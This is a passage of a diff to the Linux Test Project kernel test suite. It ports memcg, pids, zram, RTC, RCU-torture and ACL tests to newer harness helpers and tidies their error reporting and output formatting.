 	echo $((PAGESIZE*2048)) > memory.memsw.limit_in_bytes
-	test_mem_stat "--mmap-anon" $((PAGESIZE*1024)) \
-		"memory.memsw.usage_in_bytes" $((PAGESIZE*1024)) 0
+	test_mem_stat "--mmap-anon" $((PAGESIZE*1024)) $((PAGESIZE*1024)) \
+		"memory.memsw.usage_in_bytes" $((PAGESIZE*1024)) false
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
+tst_exit
 
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	if [ -e memory.memsw.usage_in_bytes ]; then
-		MEM_SWAP_FLAG=1
-	fi
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
index f48c50a..4cf6b9f 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
@@ -26,11 +26,10 @@
 # History:      2012/01/14 - Created.
 #
 
-export TCID="memcg_use_hierarchy_test"
-export TST_TOTAL=3
-export TST_COUNT=0
+TCID="memcg_use_hierarchy_test"
+TST_TOTAL=3
 
-. memcg_lib.sh || exit 1
+. memcg_lib.sh
 
 # test if one of the ancestors goes over its limit, the proces will be killed
 testcase_1()
@@ -50,8 +49,7 @@
 testcase_2()
 {
 	mkdir subgroup
-	echo 1 > memory.use_hierarchy 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
+	EXPECT_FAIL echo 1 \> memory.use_hierarchy
 
 	rmdir subgroup
 }
@@ -61,41 +59,12 @@
 {
 	echo 1 > memory.use_hierarchy
 	mkdir subgroup
-	echo 0 > subgroup/memory.use_hierarchy 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
+	EXPECT_FAIL echo 0 \> subgroup/memory.use_hierarchy
 
 	rmdir subgroup
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
+tst_exit
 
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
diff --git a/testcases/kernel/controllers/memcg/regression/Makefile b/testcases/kernel/controllers/memcg/regression/Makefile
index 8399c3f..36d0f5d 100644
--- a/testcases/kernel/controllers/memcg/regression/Makefile
+++ b/testcases/kernel/controllers/memcg/regression/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
index 377e318..27539f9 100755
--- a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
+++ b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
@@ -41,8 +41,7 @@
         exit 0
 fi
 
-tst_kvercmp 2 6 30
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "2.6.30"; then
 	tst_brkm TBROK ignored "Test should be run with kernel 2.6.30 or newer"
 	exit 0
 fi
diff --git a/testcases/kernel/controllers/memcg/stress/Makefile b/testcases/kernel/controllers/memcg/stress/Makefile
index 0dbc994..a0456ac 100644
--- a/testcases/kernel/controllers/memcg/stress/Makefile
+++ b/testcases/kernel/controllers/memcg/stress/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
index dc610f1..af1a708 100755
--- a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
+++ b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
@@ -37,7 +37,7 @@
         exit 0
 fi
 
-RUN_TIME=$(( 60 * 60 ))
+RUN_TIME=$(( 15 * 60 ))
 
 cleanup()
 {
@@ -96,14 +96,14 @@
 
 testcase_1()
 {
-	run_stress 150 $(( ($mem-150) / 150 )) 10 $RUN_TIME
+	run_stress 150 $(( ($mem-150) / 150 )) 5 $RUN_TIME
 
 	tst_resm TPASS "stress test 1 passed"
 }
 
 testcase_2()
 {
-	run_stress 1 $mem 10 $RUN_TIME
+	run_stress 1 $mem 5 $RUN_TIME
 
 	tst_resm TPASS "stress test 2 passed"
 }
diff --git a/testcases/kernel/controllers/memctl/Makefile b/testcases/kernel/controllers/memctl/Makefile
index 99fb5e0..346b9e7 100644
--- a/testcases/kernel/controllers/memctl/Makefile
+++ b/testcases/kernel/controllers/memctl/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/pids/pids.sh b/testcases/kernel/controllers/pids/pids.sh
index e7600b3..eda29cb 100755
--- a/testcases/kernel/controllers/pids/pids.sh
+++ b/testcases/kernel/controllers/pids/pids.sh
@@ -26,23 +26,40 @@
 # Usage
 # ./pids.sh caseno max
 #
+TST_ID="pids"
+TST_CLEANUP=cleanup
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_POS_ARGS=2
+TST_USAGE=usage
+TST_NEEDS_ROOT=1
+
+. tst_test.sh
 
 caseno=$1
 max=$2
-export TCID="pids_$1_$2"
-export TST_TOTAL=1
 mounted=1
 
-. test.sh
+usage()
+{
+	cat << EOF
+usage: $0 caseno max_processes
+
+caseno        - testcase number from interval 1-5
+max_processes - maximal number of processes to attach
+                (applicable to testcase 1-4)
+OPTIONS
+EOF
+}
 
 cleanup()
 {
 	killall -9 pids_task2 >/dev/null 2>&1
 
-	tst_resm TINFO "removing created directories"
+	tst_res TINFO "removing created directories"
 	rmdir $testpath
 	if [ "$mounted" -ne "1" ]; then
-		tst_resm TINFO "Umounting pids"
+		tst_res TINFO "Umounting pids"
 		umount $mount_point
 		rmdir $mount_point
 	fi
@@ -50,11 +67,9 @@
 
 setup()
 {
-	tst_require_root
-
 	exist=`grep -w pids /proc/cgroups | cut -f1`;
 	if [ "$exist" = "" ]; then
-		tst_brkm TCONF NULL "pids not supported"
+		tst_brk TCONF NULL "pids not supported"
 	fi
 
 	mount_point=`grep -w pids /proc/mounts | cut -f 2 | cut -d " " -f2`
@@ -64,8 +79,6 @@
 		mount_point=/dev/cgroup
 	fi
 
-	TST_CLEANUP=cleanup
-
 	testpath=$mount_point/ltp_$TCID
 
 	if [ "$mounted" -eq "0" ]; then
@@ -84,10 +97,18 @@
 	done
 
 	if [ $(cat "$testpath/tasks" | wc -l) -ne $nb ]; then
-		tst_resm TBROK "failed to attach process"
+		tst_brk TBROK "failed to attach process"
 	fi
 }
 
+stop_pids_tasks()
+{
+	for i in `cat $testpath/tasks`; do
+		ROD kill -9 $i
+		wait $i
+	done
+}
+
 case1()
 {
 	start_pids_tasks2 $max
@@ -97,18 +118,20 @@
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
-		tst_resm TFAIL "fork failed unexpectedly"
+		tst_res TFAIL "fork failed unexpectedly"
 	elif [ "$ret" -eq "0" ]; then
-		tst_resm TPASS "fork didn't fail"
+		tst_res TPASS "fork didn't fail"
 	else
-		tst_resm TBROK "pids_task1 failed"
+		tst_res TBROK "pids_task1 failed"
 	fi
+
+	stop_pids_tasks
 }
 
 case2()
 {
 	tmp=$((max - 1))
-	tst_resm TINFO "limit the number of pid to $max"
+	tst_res TINFO "limit the number of pid to $max"
 	ROD echo $max \> $testpath/pids.max
 
 	start_pids_tasks2 $tmp
@@ -118,18 +141,20 @@
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
-		tst_resm TPASS "fork failed as expected"
+		tst_res TPASS "fork failed as expected"
 	elif [ "$ret" -eq "0" ]; then
-		tst_resm TFAIL "fork didn't fail despite the limit"
+		tst_res TFAIL "fork didn't fail despite the limit"
 	else
-		tst_resm TBROK "pids_task1 failed"
+		tst_res TBROK "pids_task1 failed"
 	fi
+
+	stop_pids_tasks
 }
 
 case3()
 {
 	lim=$((max + 2))
-	tst_resm TINFO "limit the number of avalaible pid to $lim"
+	tst_res TINFO "limit the number of avalaible pid to $lim"
 	ROD echo $lim \> $testpath/pids.max
 
 	start_pids_tasks2 $max
@@ -138,42 +163,44 @@
 	ret=$?
 
 	if [ "$ret" -eq "2" ]; then
-		tst_resm TFAIL "fork failed unexpectedly"
+		tst_res TFAIL "fork failed unexpectedly"
 	elif [ "$ret" -eq "0" ]; then
-		tst_resm TPASS "fork worked as expected"
+		tst_res TPASS "fork worked as expected"
 	else
-		tst_resm TBROK "pids_task1 failed"
+		tst_res TBROK "pids_task1 failed"
 	fi
+
+	stop_pids_tasks
 }
 
 case4()
 {
-	tst_resm TINFO "limit the number of avalaible pid to 0"
+	tst_res TINFO "limit the number of avalaible pid to 0"
 	ROD echo 0 \> $testpath/pids.max
 
 	start_pids_tasks2 $max
 
-	tst_resm TPASS "all process were attached"
+	tst_res TPASS "all process were attached"
+
+	stop_pids_tasks
 }
 
 case5()
 {
-	tst_resm TINFO "try to limit the number of avalaible pid to -1"
+	tst_res TINFO "try to limit the number of avalaible pid to -1"
 	echo -1 > $testpath/pids.max
 
 	if [ "$?" -eq "0" ]; then
-		tst_resm TFAIL "managed to set the limit to -1"
+		tst_res TFAIL "managed to set the limit to -1"
 	else
-		tst_resm TPASS "didn't manage to set the limit to -1"
+		tst_res TPASS "didn't manage to set the limit to -1"
 	fi
 }
 
-setup
-
-if [ "$#" -ne "2" ]; then
-	tst_resm TFAIL "invalid parameters, usage: ./pids01 caseno max"
-else
+do_test()
+{
+	tst_res TINFO "Running testcase $caseno with $max processes"
 	case$caseno
-fi
+}
 
-tst_exit
+tst_run
diff --git a/testcases/kernel/device-drivers/locking/lock_torture.sh b/testcases/kernel/device-drivers/locking/lock_torture.sh
index 1fc2bed..55a23f9 100755
--- a/testcases/kernel/device-drivers/locking/lock_torture.sh
+++ b/testcases/kernel/device-drivers/locking/lock_torture.sh
@@ -52,8 +52,9 @@
 	rmmod locktorture > /dev/null 2>&1
 }
 
-tst_kvercmp 3 18 0 && \
+if tst_kvcmp -lt "3.18"; then
 	tst_brkm TCONF "test must be run with kernel 3.18 or newer"
+fi
 
 tst_require_root
 
diff --git a/testcases/kernel/device-drivers/rcu/rcu_torture.sh b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
index 702c9e4..d07ca65 100755
--- a/testcases/kernel/device-drivers/rcu/rcu_torture.sh
+++ b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
@@ -67,13 +67,11 @@
 
 rcu_type="rcu rcu_bh srcu sched"
 
-tst_kvercmp 3 12 0
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "3.12"; then
 	rcu_type="$rcu_type rcu_sync rcu_expedited rcu_bh_sync rcu_bh_expedited \
 	          srcu_sync srcu_expedited sched_sync sched_expedited"
 
-	tst_kvercmp 3 11 0
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.11"; then
 		rcu_type="$rcu_type srcu_raw srcu_raw_sync"
 	fi
 fi
diff --git a/testcases/kernel/device-drivers/rtc/rtc01.c b/testcases/kernel/device-drivers/rtc/rtc01.c
index acfcd34..b3c7e1d 100644
--- a/testcases/kernel/device-drivers/rtc/rtc01.c
+++ b/testcases/kernel/device-drivers/rtc/rtc01.c
@@ -69,7 +69,7 @@
 	/*Read RTC Time */
 	ret = ioctl(rtc_fd, RTC_RD_TIME, &rtc_tm);
 	if (ret == -1) {
-		tst_resm(TFAIL, "RTC_RD_TIME ioctl failed");
+		tst_resm(TFAIL | TERRNO, "RTC_RD_TIME ioctl failed");
 		return;
 	}
 
@@ -101,23 +101,28 @@
 		if (errno == EINVAL)
 			tst_resm(TCONF | TERRNO, "RTC_ALM_SET not supported");
 		else
-			tst_resm(TFAIL | TERRNO , "RTC_ALM_SET ioctl failed");
+			tst_resm(TFAIL | TERRNO, "RTC_ALM_SET ioctl failed");
 		return;
 	}
 
 	/*Read current alarm time */
 	ret = ioctl(rtc_fd, RTC_ALM_READ, &rtc_tm);
 	if (ret == -1) {
-		tst_resm(TFAIL, "RTC_ALM_READ ioctl failed");
-		return;
+		if (errno == EINVAL) {
+			tst_resm(TCONF | TERRNO, "RTC_ALM_READ not suported");
+		} else {
+			tst_resm(TFAIL | TERRNO, "RTC_ALM_READ ioctl failed");
+			return;
+		}
+	} else {
+		tst_resm(TINFO, "Alarm time set to %02d:%02d:%02d.",
+			 rtc_tm.tm_hour, rtc_tm.tm_min, rtc_tm.tm_sec);
 	}
 
-	tst_resm(TINFO, "Alarm time set to %02d:%02d:%02d.",
-		 rtc_tm.tm_hour, rtc_tm.tm_min, rtc_tm.tm_sec);
 	/* Enable alarm interrupts */
 	ret = ioctl(rtc_fd, RTC_AIE_ON, 0);
 	if (ret == -1) {
-		tst_resm(TINFO, "RTC_AIE_ON ioctl failed");
+		tst_resm(TINFO | TERRNO, "RTC_AIE_ON ioctl failed");
 		return;
 	}
 
@@ -132,12 +137,12 @@
 	ret = select(rtc_fd + 1, &rfds, NULL, NULL, &tv);	/*wait for alarm */
 
 	if (ret == -1) {
-		tst_resm(TFAIL, "select failed");
+		tst_resm(TFAIL | TERRNO, "select failed");
 		return;
 	} else if (ret) {
 		ret = read(rtc_fd, &data, sizeof(unsigned long));
 		if (ret == -1) {
-			tst_resm(TFAIL, "read failed");
+			tst_resm(TFAIL | TERRNO, "read failed");
 			return;
 		}
 		tst_resm(TINFO, "Alarm rang.");
@@ -149,7 +154,7 @@
 	/* Disable alarm interrupts */
 	ret = ioctl(rtc_fd, RTC_AIE_OFF, 0);
 	if (ret == -1) {
-		tst_resm(TFAIL, "RTC_AIE_OFF ioctl failed");
+		tst_resm(TFAIL | TERRNO, "RTC_AIE_OFF ioctl failed");
 		return;
 	}
 	tst_resm(TPASS, "RTC ALARM TEST Passed");
@@ -189,12 +194,12 @@
 
 		ret = select(rtc_fd + 1, &rfds, NULL, NULL, &tv);
 		if (ret == -1) {
-			tst_resm(TFAIL, "select failed");
+			tst_resm(TFAIL | TERRNO, "select failed");
 			return;
 		} else if (ret) {
 			ret = read(rtc_fd, &data, sizeof(unsigned long));
 			if (ret == -1) {
-				tst_resm(TFAIL, "read failed");
+				tst_resm(TFAIL | TERRNO, "read failed");
 				return;
 			}
 			tst_resm(TINFO, "Update interrupt %d", i);
@@ -208,7 +213,7 @@
 	/* Turn off update interrupts */
 	ret = ioctl(rtc_fd, RTC_UIE_OFF, 0);
 	if (ret == -1) {
-		tst_resm(TFAIL, "RTC_UIE_OFF ioctl failed");
+		tst_resm(TFAIL | TERRNO, "RTC_UIE_OFF ioctl failed");
 		return;
 	}
 	tst_resm(TPASS, "RTC UPDATE INTERRUPTS TEST Passed");
diff --git a/testcases/kernel/device-drivers/zram/zram01.sh b/testcases/kernel/device-drivers/zram/zram01.sh
index 26dae90..64284d5 100755
--- a/testcases/kernel/device-drivers/zram/zram01.sh
+++ b/testcases/kernel/device-drivers/zram/zram01.sh
@@ -39,8 +39,8 @@
 # not support mem suffixes, in some newer kernels, they use
 # memparse() which supports mem suffixes. So here we just use
 # bytes to make sure everything works correctly.
-zram_sizes="26214400 26214400 26214400 26214400" # 25MB
-zram_mem_limits="25M 25M 25M 25M"
+zram_sizes="26214400 26214400 26214400 41943040" # 25MB, 40MB for btrfs
+zram_mem_limits="25M 25M 25M 40M"
 zram_filesystems="ext3 ext4 xfs btrfs"
 zram_algs="lzo lzo lzo lzo"
 
@@ -54,7 +54,7 @@
 	for i in $(seq 0 $(($dev_num - 1))); do
 		tst_resm TINFO "fill zram$i..."
 		local b=0
-		while ((1)); do
+		while true; do
 			dd conv=notrunc if=/dev/zero of=zram${i}/file \
 				oflag=append count=1 bs=1024 status=none \
 				> /dev/null 2>&1 || break
diff --git a/testcases/kernel/device-drivers/zram/zram_lib.sh b/testcases/kernel/device-drivers/zram/zram_lib.sh
index d3e62e0..224b407 100755
--- a/testcases/kernel/device-drivers/zram/zram_lib.sh
+++ b/testcases/kernel/device-drivers/zram/zram_lib.sh
@@ -62,16 +62,14 @@
 
 zram_max_streams()
 {
-	tst_kvercmp 3 15 0
-	if [ $? -eq 0 ]; then
-		tst_resm TCONF "device attribute max_comp_streams is"\
-			"introduced since kernel v3.15, the running kernel"\
-			"does not support it"
+	if tst_kvcmp -lt "3.15" -o -ge "4.7"; then
+		tst_resm TCONF "The device attribute max_comp_streams was"\
+		               "introduced in kernel 3.15 and deprecated in 4.7"
 		return
-	else
-		tst_resm TINFO "set max_comp_streams to zram device(s)"
 	fi
 
+	tst_resm TINFO "set max_comp_streams to zram device(s)"
+
 	local i=0
 	for max_s in $zram_max_streams; do
 		local sys_path="/sys/block/zram${i}/max_comp_streams"
@@ -91,16 +89,15 @@
 
 zram_compress_alg()
 {
-	tst_kvercmp 3 15 0
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.15"; then
 		tst_resm TCONF "device attribute comp_algorithm is"\
 			"introduced since kernel v3.15, the running kernel"\
 			"does not support it"
 		return
-	else
-		tst_resm TINFO "test that we can set compression algorithm"
 	fi
 
+	tst_resm TINFO "test that we can set compression algorithm"
+
 	local algs=$(cat /sys/block/zram0/comp_algorithm)
 	tst_resm TINFO "supported algs: $algs"
 	local i=0
@@ -133,16 +130,15 @@
 
 zram_set_memlimit()
 {
-	tst_kvercmp 3 18 0
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.18"; then
 		tst_resm TCONF "device attribute mem_limit is"\
 			"introduced since kernel v3.18, the running kernel"\
 			"does not support it"
 		return
-	else
-		tst_resm TINFO "set memory limit to zram device(s)"
 	fi
 
+	tst_resm TINFO "set memory limit to zram device(s)"
+
 	local i=0
 	for ds in $zram_mem_limits; do
 		local sys_path="/sys/block/zram${i}/mem_limit"
diff --git a/testcases/kernel/fs/Makefile b/testcases/kernel/fs/Makefile
index 81310f5..d843b48 100644
--- a/testcases/kernel/fs/Makefile
+++ b/testcases/kernel/fs/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/fs/acl/tacl_xattr.sh b/testcases/kernel/fs/acl/tacl_xattr.sh
index b42b665..c2383fd 100755
--- a/testcases/kernel/fs/acl/tacl_xattr.sh
+++ b/testcases/kernel/fs/acl/tacl_xattr.sh
@@ -83,9 +83,8 @@
 losetup /dev/loop0 tacl/blkext2 >/dev/null 2>&1
 if [ $? != 0 ]
 then
-	echo ""
-	echo "FAILED:  [ losetup ] Must have loop device support by kernel"
-	echo -e "\t to execute this script"
+	printf "\nFAILED:  [ losetup ] Must have loop device support by kernel\n"
+	printf "\t to execute this script\n"
 	exit 1
 fi
 
@@ -97,10 +96,9 @@
 	mount -t ext3 -o defaults,acl,user_xattr /dev/loop0 tacl/mount-ext2
 	if [ $? != 0 ]
 	then
-		echo ""
-		echo "FAILED:  [ mount ] Make sure that ACL (Access Control List)"
-		echo -e "\t and Extended Attribute are built into the kernel"
-		echo -e "\t Can not mount ext2 file system with acl and user_xattr options"
+		printf "\nFAILED:  [ mount ] Make sure that ACL (Access Control List)\n"
+		printf "\t and Extended Attribute are built into the kernel\n"
+		printf "\t Can not mount ext2 file system with acl and user_xattr options\n"
 		exit 1
 	fi
 
@@ -110,10 +108,9 @@
 	mount -t ext2 -o defaults,acl,user_xattr /dev/loop0 tacl/mount-ext2
 	if [ $? != 0 ]
 	then
-		echo ""
-		echo "FAILED:  [ mount ] Make sure that ACL (Access Control List)"
-		echo -e "\t and Extended Attribute are built into the kernel"
-		echo -e "\t Can not mount ext2 file system with acl and user_xattr options"
+		printf "\nFAILED:  [ mount ] Make sure that ACL (Access Control List)\n"
+		printf "\t and Extended Attribute are built into the kernel\n"
+		printf "\t Can not mount ext2 file system with acl and user_xattr options\n"
 		exit 1
 	fi
 fi
@@ -179,23 +176,19 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfil1 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile1 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] Create file must be denied by file permission bits"
-		echo -e "\t [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] Create file must be denied by file permission bits\n"
+		printf "\t [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: Create file denied by file permission bits [ Physical directory ]"
+		printf "\nSUCCESS: Create file denied by file permission bits [ Physical directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfil2 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile2 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] Create file must be denied by file permission bits"
-		echo -e "\t [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] Create file must be denied by file permission bits\n"
+		printf "\t [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: Create file denied by file permission bits [ Symlink directory ]"
+		printf "\nSUCCESS: Create file denied by file permission bits [ Symlink directory ]\n"
 	fi
 
 TACL_USER1
@@ -216,25 +209,21 @@
 	cd $CUR_PATH/tacl/mount-ext2/shared/team1/ 2> /dev/null
 	if [ $? != 0 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner execute"
-		echo -e "\t permissions, but operation failed [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner execute\n"
+		printf "\t permissions, but operation failed [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER_OBJ  entry contains the owner execute permissions, "
-		echo -e "\t operation success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_USER_OBJ  entry contains the owner execute permissions,\n"
+		printf "\t operation success [ Physical Directory ]\n"
 	fi
 
 	cd $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/ 2> /dev/null
 	if [ $? != 0 ]
 	then
-		echo ""
-		echo "FAILED: [ touch ] ACL_USER_OBJ  entry already contains the owner execute"
-		echo -e "\t permissions, but operation failed [ Symlink Directory ]"
+		printf "\nFAILED: [ touch ] ACL_USER_OBJ  entry already contains the owner execute\n"
+		printf "\t permissions, but operation failed [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER_OBJ  entry contains the owner execute permissions,"
-		echo -e "\t operation success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_USER_OBJ  entry contains the owner execute permissions,\n"
+		printf "\t operation success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER1
@@ -246,25 +235,21 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfil1 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile1 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner write "
-		echo -e "\t permissions, but operation failed [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner write \n"
+		printf "\t permissions, but operation failed [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER_OBJ  entry contains the owner write permissions,"
-		echo -e "\t operation success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_USER_OBJ  entry contains the owner write permissions,\n"
+		printf "\t operation success [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfil2 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile2 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner write "
-		echo -e "\t permissions, but operation failed [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_USER_OBJ  entry already contains the owner write \n"
+		printf "\t permissions, but operation failed [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER_OBJ  entry contains the owner write permissions,"
-		echo -e "\t operation success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_USER_OBJ  entry contains the owner write permissions,\n"
+		printf "\t operation success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER1
@@ -286,25 +271,21 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile3 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile3 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_USER entry contains the user permissions, "
-		echo -e "\t operation success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_USER entry contains the user permissions,\n"
+		printf "\t operation success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_USER entry contains the user permissions,"
-		echo -e "\t but operation denied [ Physical Directory ]"
+		printf "\nFAILED:  ACL_USER entry contains the user permissions,\n"
+		printf "\t but operation denied [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile4 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile4 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_USER entry contains the user permissions, "
-		echo -e "\t operation success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_USER entry contains the user permissions,\n"
+		printf "\t operation success [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  ACL_USER entry contains the user permissions,"
-		echo -e "\t but operation denied [ Symlink Directory ]"
+		printf "\nFAILED:  ACL_USER entry contains the user permissions,\n"
+		printf "\t but operation denied [ Symlink Directory ]\n"
 	fi
 
 TACL_USER3
@@ -316,29 +297,25 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile5 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile5 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_USER entry contains the user permissions"
-		echo -e "\t but ACL_MASK are set --- , "
-		echo -e "\t operation must be denied [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_USER entry contains the user permissions\n"
+		printf "\t but ACL_MASK are set --- ,\n"
+		printf "\t operation must be denied [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER entry contains the user permissions,"
-		echo -e "\t but ACL_MASK are set ___ ,"
-		echo -e "\t operation success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_USER entry contains the user permissions,\n"
+		printf "\t but ACL_MASK are set ___ ,\n"
+		printf "\t operation success [ Physical Directory ]\n"
 	fi
 
 	touch $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile6 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/symlinkdir1/newfile6 ]
 	then
-		echo ""
-		echo "FAILED:  [ touch ] ACL_USER entry contains the user permissions"
-		echo -e "\t but ACL_MASK are set --- ,"
-		echo -e "\t operation must be denied [ Symlink Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_USER entry contains the user permissions\n"
+		printf "\t but ACL_MASK are set --- ,\n"
+		printf "\t operation must be denied [ Symlink Directory ]\n"
 	else
-		echo ""
-		echo "SUCCESS: ACL_USER entry contains the user permissions,"
-		echo -e "\t but ACL_MASK are set ___ ,"
-		echo -e "\t operation success [ Symlink Directory ]"
+		printf "\nSUCCESS: ACL_USER entry contains the user permissions,\n"
+		printf "\t but ACL_MASK are set ___ ,\n"
+		printf "\t operation success [ Symlink Directory ]\n"
 	fi
 
 TACL_USER3
@@ -370,25 +347,21 @@
 	touch $CUR_PATH/tacl/mount-ext2/shared/team1/newfile7 2> /dev/null
 	if [ -e $CUR_PATH/tacl/mount-ext2/shared/team1/newfile7 ]
 	then
-		echo ""
-		echo "SUCCESS: ACL_GROUP entry contains the group permissions,"
-		echo -e "\t option success [ Physical Directory ]"
+		printf "\nSUCCESS: ACL_GROUP entry contains the group permissions,\n"
+		printf "\t option success [ Physical Directory ]\n"
 	else
-		echo ""
-		echo "FAILED:  [ touch ] ACL_GROUP entry already contains the group permissions,"
-		echo -e "\t but option success [ Physical Directory ]"
+		printf "\nFAILED:  [ touch ] ACL_GROUP entry already contains the group permissions,\n"
+		printf "\t but option success [ Physical Directory ]\n"
 	fi
 
